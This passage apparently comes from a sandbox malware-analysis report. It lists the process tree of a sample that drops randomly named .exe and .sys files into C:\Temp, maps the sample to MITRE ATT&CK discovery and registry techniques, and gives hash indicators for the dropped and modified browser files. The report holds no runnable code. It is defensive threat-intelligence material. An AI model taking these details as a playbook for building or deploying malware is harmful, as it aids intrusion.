- Executes dropped EXE
PID:1216

C:\Temp\faxsqkicau.sys
C:\Temp\faxsqkicau.sys
1⤵
- Executes dropped EXE
PID:4844

C:\Temp\caujhczusn.sys
C:\Temp\caujhczusn.sys
1⤵
- Executes dropped EXE
PID:3896

C:\Temp\uomgezwrpj.sys
C:\Temp\uomgezwrpj.sys
1⤵
- Executes dropped EXE
PID:3236

C:\Temp\rojgbyrljd.sys
C:\Temp\rojgbyrljd.sys
1⤵
PID:5148

C:\Temp\mjebwtomge.sys
C:\Temp\mjebwtomge.sys
1⤵
PID:4748

C:\Temp\oigeywqljg.sys
C:\Temp\oigeywqljg.sys
1⤵
PID:1384

C:\Temp\gdavtnlfdy.sys
C:\Temp\gdavtnlfdy.sys
1⤵
PID:3912

C:\Temp\ausnlfdxvp.sys
C:\Temp\ausnlfdxvp.sys
1⤵
PID:6084

C:\Temp\pmkfcxupnh.sys
C:\Temp\pmkfcxupnh.sys
1⤵
PID:1540

C:\Temp\nkecausmkf.sys
C:\Temp\nkecausmkf.sys
1⤵
PID:3104

C:\Temp\hecwupmhfz.sys
C:\Temp\hecwupmhfz.sys
1⤵
PID:4584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

eczusmkecw.exe

Path C:\Temp\eczusmkecw.exe
Size 361KB
SHA256 55b4c648c06b6a4e6c6feef9dd0f3700d04b03d8f3363f52699fc6ee9538feba
MD5 801b9f88c12787b6c9e47a310006761d
SHA1 511334ace6c07843dbb342149b1fe4ebb2f2b5a6
SHA512 dc24f2f5a2cd74d04e7e27b1d8a3c10dd1129b1b60693428741d6ba35c7d32feb6745ceaf7f5390f58952d1a519ed3ade1fe940e7baf2103e4d64e9131ff2cfe
SSDEEP 6144:eflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:eflfAsiVGjSGecvX
TLSH
T1F9747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfzusmkfcauspkic.exe

Path C:\Temp\hfzusmkfcauspkic.exe
Size 361KB
SHA256 1e6da736d1b040be93cf388a66852b6e9ceaee1a633fc38e3d74150950a9e28d
MD5 7882d9ca46c102bb4359bb50d874043b
SHA1 3054e9d8291f859788ab2967f981415970c8d78d
SHA512 48c152896bf643541e39285920a48e577e366e7cc485ea96bf409486232f3091365085ba1791ffb5249c4daa72c1cbc704bb1e058f97e07378a58a7913d689f7
SSDEEP 6144:2flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:2flfAsiVGjSGecvX
TLSH
T16E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfzusmkfcauspkic.sys

Path C:\Temp\hfzusmkfcauspkic.sys
Size 293KB
SHA256 3e68421d852db7f2697fce5afe6968629f5b3aa01e36e71dee5de5420ff9442e
MD5 c6521bdf2e74ff512d34da04bcb13bc7
SHA1 0887d6f38f20e1c5a2851c20cf78c25581444f93
SHA512 502f6b11ab2b41961b7cd9abc7519299a2b51882f8408eea77a8c2b59da489d6e9d6ed40adba14b241ddc9815207aab964a7605bde29fe5200f2aaffd2c3dddf
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9Edh:bIJjiJcbI03GBc3ucY5DCSjM
TLSH
T144545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_eczusmkecw.exe

Path C:\Temp\i_eczusmkecw.exe
Size 361KB
SHA256 21d573c7352718ed6dfb90fed2f54f30387df14ad3e2ef5d1234358cead33376
MD5 d6b318915da974deaff92e81c141bdfc
SHA1 cae25173fe5795a71b7cb61e7af320db762511e3
SHA512 6502b309a354856f18a67f27482d9e041b3aeba74f7db79f95bc24b8583d719315d1af55335977121dc2dd02065e62f2d625837ca5f8e7b3dfdc8edb9cd66b2d
SSDEEP 6144:lflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:lflfAsiVGjSGecvX
TLSH
T1F4747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jgbztrljgb.exe

Path C:\Temp\i_jgbztrljgb.exe
Size 361KB
SHA256 9cba3afcae3a79e05bbe04f80fc7584cc9bac8a7f890b43f9a1cc209f98650e8
MD5 e8fa3ae72b9b5483bfd80cb2fca30fa1
SHA1 9a8a17c58f341a5ef7e848e12d08f8f901f12c37
SHA512 bf8ca5d978eca73b5940ff2eb3dc875b4e2d9b2f47a9c149c291dde3818e52e58b22a29b24a3c66f87611a0daf2b01b84c423c9be452b0da5d81a34b24bd94cb
SSDEEP 6144:TflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:TflfAsiVGjSGecvX
TLSH
T103747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mjecwuomge.exe

Path C:\Temp\i_mjecwuomge.exe
Size 361KB
SHA256 cb8b5fa31f50e5b6f3cc94f411434a2c1ff2709ff1388f0ed4049795f4e81194
MD5 099b2ec0da6e779a472785dfeaf7ef5a
SHA1 c70fa1c129f84482b4edd837a94abca7e9cbee10
SHA512 b0c631e852a391a85526efc012b28abb9bc2a8d0b29943d4086b24e1e3b23013f702ecf7f7889a8f8b6aea3ab574cc4e86192b6313a88adfc84084eb70690f25
SSDEEP 6144:fflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:fflfAsiVGjSGecvX
TLSH
T14E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkhczupnkf.exe

Path C:\Temp\i_mkhczupnkf.exe
Size 361KB
SHA256 1ce868a164ada2e45a5881bab061d403075ef83a1a5a4d024fad8a8593701945
MD5 bfebc40eae3d1b827f0b1b61b4333e30
SHA1 4803e6fcbda5d1c6df686e19d511c6797d93e89a
SHA512 cf15b90130495681aeb62ec25a6fd41edd7f932e329b4217aec766d7f251493e326472350251b0d16ec57095cc27abef0ad02b91971f9779c39b26ccc6f6609a
SSDEEP 6144:pflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:pflfAsiVGjSGecvX
TLSH
T1AA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_oigbywqoid.exe

Path C:\Temp\i_oigbywqoid.exe
Size 361KB
SHA256 622662b5958ccefe71fe46bbf564d6cf7aee4a64e9c8d336c1d90eeaacdbf587
MD5 e26540097a603333d44f4dec0dd0a239
SHA1 9bffb79efe7de9e5cb79c7ae31d3008ab104f7c6
SHA512 cee77d0c0dc4762a635727b940d41fd453b1673f9914316a2bbc4cc32679898f666efb46a7059a89019bd296bebe203e36df6caaa5af6cf057f85cb68d268741
SSDEEP 6144:PflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:PflfAsiVGjSGecvX
TLSH
T1A9747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbztrljgb.exe

Path C:\Temp\jgbztrljgb.exe
Size 361KB
SHA256 a0ebdbbeb3b0ead5b8c0857cccda8843a8e872d91ceee3d169e067c03cec1e13
MD5 ed604f70553c9b05be6233f05a55bebb
SHA1 bd21dc64493ddf01dd98fea8adf4db9e2097eccc
SHA512 d68eecc4ebbe6f01be6d64ab35187574fa774654452aa1dfc361ca3d4a24cf0f657dbb8b769b90ad5d13614d1a160f423534d39e7a1585d2683e9eeb6d8faf43
SSDEEP 6144:zflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:zflfAsiVGjSGecvX
TLSH
T1A9747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mjecwuomge.exe

Path C:\Temp\mjecwuomge.exe
Size 361KB
SHA256 1046bef9d545d4a0b5104d598997bfa3fe4bb4175a63638e120bb33e34c45f19
MD5 803b55680e2591f06fc7b1e00ed0097c
SHA1 e023ccf3f9520a1afcb43056316131734dd887ee
SHA512 50ac871b62bf5ac75c105bd02a217bea78fe6290a70076adb5e55a69b29c657e67b63150303e8da19c60db5e7d9b0d5bd7d6b3f6d0251bf53613dfc16f017ba4
SSDEEP 6144:UflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:UflfAsiVGjSGecvX
TLSH
T150747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mjhczxrpjh.sys

Path C:\Temp\mjhczxrpjh.sys
Size 293KB
SHA256 f33e9dd7e84866131b07adb0143c0ca96341c83cff59acc3d776f662a17bf955
MD5 e8b6d1d1c60ff44bf364d04ec5819e16
SHA1 2bb92fdce89ea96c68a568f0f1a1372b3149d199
SHA512 828f5a25195b04ce2b2f14cc78df2dd21ec2db02d3d18ba39c21b4c37f86cd163ee2b42bb9222645fa4f8f16d34a14c396162de82f3318435df8261a778988a4
SSDEEP 3072:wtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:wIJjiJcbI03GBc3ucY5DCSj
TLSH
T13C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkhczupnkf.exe

Path C:\Temp\mkhczupnkf.exe
Size 361KB
SHA256 3213b57950c8c030d7abbbb69f17b01652da842b312f259722cfc25356974e7d
MD5 88359235331d85c57a44e7b262fe423a
SHA1 8042bcb5592f2557d85d13d1d1c12c7853348192
SHA512 e9fee31220f82da0ae8e7c7fb2bcfe159f924c16066ff9c60386e03f3e2b34feefd9b066bfbd3d5d744370f79566fcf37c5889a3248c9bafedc73fcac9f276ab
SSDEEP 6144:FflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:FflfAsiVGjSGecvX
TLSH
T110747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oigbywqoid.exe

Path C:\Temp\oigbywqoid.exe
Size 361KB
SHA256 8e3e3e9dedca114eb3bc34d9991686bb6f3c68b170db8ebf57ed63d06c8c187d
MD5 890e77e20bbd2703a1f2f46b42a6bddb
SHA1 7ae0ebee57d265558a5cca19905f8dad83f73dd9
SHA512 3adfa5f9827ba547c2d2f4fd0f5385fac4959f4759d2479462f4bf5c4a223db871c154b032117c636a5d0618f3ad775fc41bafe1566cc73129ad111059072df5
SSDEEP 6144:lflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:lflfAsiVGjSGecvX
TLSH
T102747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qlidbvtnlg.exe

Path C:\Temp\qlidbvtnlg.exe
Size 361KB
SHA256 432ac593219de373de1e61188ba9e76a908e1c3786351e8db240e5db2b944f9a
MD5 648d4c08ca88ee63c8134000b9223a7a
SHA1 d6176a8b995a3f0e69d28a71f1ce3d05334c7620
SHA512 64d54b6010ff0949e5e3844162437a979875bae6ce51fc6df82d54751e39da8cf8e80d36aa34ffb29331522cd7e0cba1a37b3c71570050a6bc06eba22cb798b7
SSDEEP 6144:8flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:8flfAsiVGjSGecvX
TLSH
T1FC747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomjebwuom.sys

Path C:\Temp\uomjebwuom.sys
Size 293KB
SHA256 e58abaebfa527fbfbb929dc0d350598f60aa3f5efb708117f26261c4c67d736f
MD5 d4e8fa67729e525c9a45bd0931c4dc95
SHA1 4f4f066b5bb39c81df8892b3859ed0139f466af8
SHA512 266ca68a0342427d0a6c3a2cc35642e1cef05b6ba805baf49d33e9572ef0b071337ea4c691facd542f2ddcebb2bbef1c9bddaf55b183d68e1f26294e8a80f897
SSDEEP 3072:4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:4IJjiJcbI03GBc3ucY5DCSj
TLSH
T121545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomgeywuo.sys

Path C:\Temp\wuomgeywuo.sys
Size 293KB
SHA256 afc2e98452609639eb8d915e50fb7e48e5c01c9ebc6dc08f38abf6255782522a
MD5 bce66f900eea357c8419af49cf7a35e5
SHA1 c75b8b8a5fd3ceb38ef052307cf89e2134d204ce
SHA512 85c1f88e6041e929c85854aefc83989b456e92fdb53da8b52deadf8c082d0c1588ddc0e6832df290bc2b3bec594ca399adf4d78765a7d4891ad54b7b4d902f99
SSDEEP 3072:9tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:9IJjiJcbI03GBc3ucY5DCSj
TLSH
T108545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yvqoigdywq.sys

Path C:\Temp\yvqoigdywq.sys
Size 293KB
SHA256 e42ee67dbc53e880ba5afb5008d2b7edd8fe927aedf3723ceb8f0ad6af8ebafa
MD5 4635d6f253473df86a61fdb0c4bc0a6f
SHA1 494dcb72ac4922888c17e6669e10c6cf4b4d9535
SHA512 8e5b81469f1f0b4f0a5195425cb3b5996729e8bd9ca868cbba240b6f5da519d66dde97d7f2f953347f707def17fa4736dae461942ea9a589504190ca4372e340
SSDEEP 3072:atKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:aIJjiJcbI03GBc3ucY5DCSj
TLSH
T164545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqoigbwtr.sys

Path C:\Temp\ywqoigbwtr.sys
Size 293KB
SHA256 51081431b12b968f071ccd8a6f1b344c635d7d8ba1e0e14f561c813c653969cd
MD5 6e8b3071d6890ec487c69e8d715fa329
SHA1 7dae76e8e6aaee18ab62b1888993bab6c5e419dd
SHA512 d27f6aabccd77910e7914a94da242081fb4ccccfcc58f501c669a5528466050960ff061ed3ab1136b7b44ed6dffe4f589121ad5287be9aad0c8db156cfa667a2
SSDEEP 3072:etKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:eIJjiJcbI03GBc3ucY5DCSj
TLSH
T139545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 27eeefdbc28c4562b0f7961dbf8ecc36dc6cdfdb8dba90b92fab4f8d38495733
MD5 02240668b330773d82eb39ca82064ff3
SHA1 da6a7c95e21b04cb7aa5296fa464996f592a9476
SHA512 850ad2cbde9cda49998ffee162ecf4a7e854604619f29434682d460d4b33049219c253cb3208a75d43cda1a23a05ad280b0f98228e3cc9146d1a22b246e53b30
TLSH
T1E2D08011379CFC09C945303658515751F5155861145F8F445064D41DDC755D313570DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 bea28d9638dac59990bdc6b9fece9f477f8d28c508c1a253fd1565bbc9fc4ae3
MD5 f10d65bdc736c03466ef52fb3e973cc6
SHA1 1553d68481be544f8fcd8f4f31978854061662fb
SHA512 1789433df7c4cb6b8c6af88635e9335389bfe36da7d8457f3b16e6d774ad9e050c045de056bbf16dcb7c5f7f882bdde6345ed9e7f12c4d6295e169346b1bbbf7
TLSH
T186D08015378CFC09C945303258515751F5255861645F8F445064D41DDC755D313570DF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 9ccbf22482d5519353610019f90ef660dd1bbb57e7e2eeb0d7ac775154beba82
MD5 c82c4e48365ea272c6c971a72da771d0
SHA1 10ff66e127366e62e5963f1bdeaa2e8994de31d6
SHA512 126369cb767ac40e8f583e91887b1dfa2015b64bddccd1cb0d0b6f07ae30ace293292a1a8c0589f3542a341ee79b84680cf97a9885e691ab1e830c9a56eca926
TLSH
T139615E1633252AEAC7E507BDE0E252B836B0D8617DA36C980E50BC319E47F404D63D59
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe594750.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe594750.TMP
Size 3KB
SHA256 7ca6910222a64bfa28067e13068038d054a08996df0aa9890ceb1962da27b146
MD5 5002e5c74e4b7038923d6455ed52de44
SHA1 96da10e6ddd5301dbb0c1458176fa47a8070f05d
SHA512 849c1fb3cb53a8cf5be16b27523164c42a28c4f5ec462ac877c0d58c7af8c5f17a92ffbdc63e8016b9962148267d074fdbf19b1b0fb7ccdaee5fcfc4e1364020
TLSH
T10C615E1633252AEAC7E907BDE0F253B836B0D8A17DA36D980E50BC319E87F405D63D58
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 53df3a260455297f2655e9f54351caa75d74c2543c7b3ea175d6a61b8ad73590
MD5 cf9ce6603788bbbd19871173e8821019
SHA1 0f9d64b026667c7e04e005f30850c11309394450
SHA512 17f8e2f8b797e8b106b31ff3d39a7fd3ae1766ed83371c4cbeddd0b1cc1dbf1097351b3e614fe1272f978ed39418418d96631986b31a6351c657702d1c342410
TLSH
T13E51CEF7C3E8866E890156F0BB146E2BCE1D0915832C7D5AC8E4AF2B93E3471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 956004d461b7131a7fea69dd33f461ee2775e111f4eb7a602fbc3327974b910d
MD5 d41402dcfed123eb4a4fd705003ce886
SHA1 5387425d05a84cd57c56e1e0fef9d90ab40df0b4
SHA512 a5baec716b62693641e7d6fbd7da5cc20a625e23d0670ea7ee21a5d8ca2371ed640e6c969a1e1a1fde3a0ed8c0747a297bf84a7051fa1f8e920fcaba7370eece
SSDEEP 192:sxRKRVyM/jK1Ml8wcJ/f3msGmwB3ZmHcUS3zoA8pi/g6+WNIYTAVcGj4IgDyJ:sxRKJCJ/f2sG1BJAi/5INgi
TLSH
T1EC52D9156A34997B8CDBD209FA457F53D6F81563A2901E44AEFC8A0C05EB6ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 638e7ae8a4af9c27133195763640a036fa314e7278d2ff334b4e72460036de3d
MD5 0d64c0f13ea45823f874dc7758052ee4
SHA1 edee861db0c6201aa1fe7a55ccbfad190a9bf7ff
SHA512 8da8dede5e5080d81cfb3abc432cbefeff34bd772c1e4cc504ca44814db52fa9d4e1c24a278e62a4797e55c47d3bf5fe8b40b1b953e73a996eb6889d8ecdf201
SSDEEP 192:sxRKRVyM/jK1Ml8UQzcJ/f3msGm5B3ZmHcUS3zoA8pw/g6+WNIYTpGVcGj4IgDkJ:sxRKJqYJ/f2sGcBJAw/5IDg8
TLSH
T14D62D9156A2899778CDBD20DFA457F53D6F81573A2901E44AAFCCB0C05EB6ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 ca5fde38b9419f7c17818936de3e3e75497ed8f873304bc486ae69c556b955a7
MD5 ecc6a45c360c0275dd014201a1f2958c
SHA1 2ba8d7720d055ddd26c3c39b3402b289645079d9
SHA512 825e4c9c3f08d9b8c2eede151e9190ce06c96e4c09dec575157264e731bafd238aeb2e7c978ba116cc47f4742cb1db605c29d50bc65a64ce7f38c4d6004e43d3
SSDEEP 768:RGqOBJ7pLuL7CrWgTvfiX8F1+UoAYDCx9Tuqh0VfUC9xbog/OVfKDzFYZro+82:RGqOBfE7CrWgTvfiXu1jawKDRYS+Z
TLSH
T11AE2EB7B680CCB7E4F80499CEC29BE8E6DE801CB56D88D5447FA854C03C67EB511A5EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 447014b0ec64dc4ca1b4f37de812f02d72e3d7e6b1e220f636aac02f0381c5c3
MD5 149aa72982b003d18289e85db901606a
SHA1 8d93c3effac9cacd3428693ce902000bcbfcfb61
SHA512 04ed108a787b17864cf8880834c860b91400189bd5629737e4aee25994a539d123b54ae6cc66f817d67a05534ebab31a7cc9c8af205e64fc3ca87b2a449a5fa5
SSDEEP 96:KydAB9j77+9LOlTd+KbLTH+PVdW3tfO/6KkYk7kh1DZpVW9yogdVK4kgzVcbDa9t:OvtH7kh1DZpg9yJdfkgzqbDa9puHMN4k
TLSH
T1B6912014733B3380787D38488565887F56C2B0A6351EB46B7BA961E24F66E01CFFE8D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f434f7e2-085f-435f-a518-49e670a33abc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f434f7e2-085f-435f-a518-49e670a33abc.tmp
Size 13KB
SHA256 20eed844d0b2a0c7095df65a761b94e50327bfe26b90fe5d7a30e9e9daa64f49
MD5 708212346c4f1db89081c6df4d15d34b
SHA1 60b4338157a5944ec33623da59040c196d70415f
SHA512 44b2caeefe847b0efc4f9f5a12f549f62fceb1dd15a6817c83732b0b2579b352e9b30fec1764012a8e82d723580adc53743528510409951e38ec4d43111191c7
SSDEEP 192:sxRdRVyM/jK1Ml8wcJ/f3msqmwB3ZmHcUS3zoA8pi/g6+WNIYTAVcGj4IgtJ:sxRdJCJ/f2sq1BJAi/5INg3
TLSH
T1E252EA156A24997BCCDBD20DFA457F53D6F81563A2901E44EDFC8A0C05EB6ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59e313.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59e313.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 1e434d17877e7dce616f5068e9f4a0150d9400e24e4650b5dda5dd199ee82489
MD5 bcf1702a071b1ab9501e2b58258b3221
SHA1 31b17d5159e7ef5d4cd33d6c82c1baffbebc714c
SHA512 0d96b3b478fea467ca323cca30e0ea6f5863e2f7f5403b0d3c60cfed862c383b6b729d5aeae708ceeb682a7326fc4c6eb97f656babdadfd4cefe29d667012d8a
SSDEEP 768:Yrv+4UNbdj316FBqXodOiIyN8Y1M1fmBnlEv0B:Ybsbl31zXodI11n8
TLSH
T1BA03CF32E868D5778CF28288F55772433FF451A78BC50B94C9DD6B0E8547AEE230B856
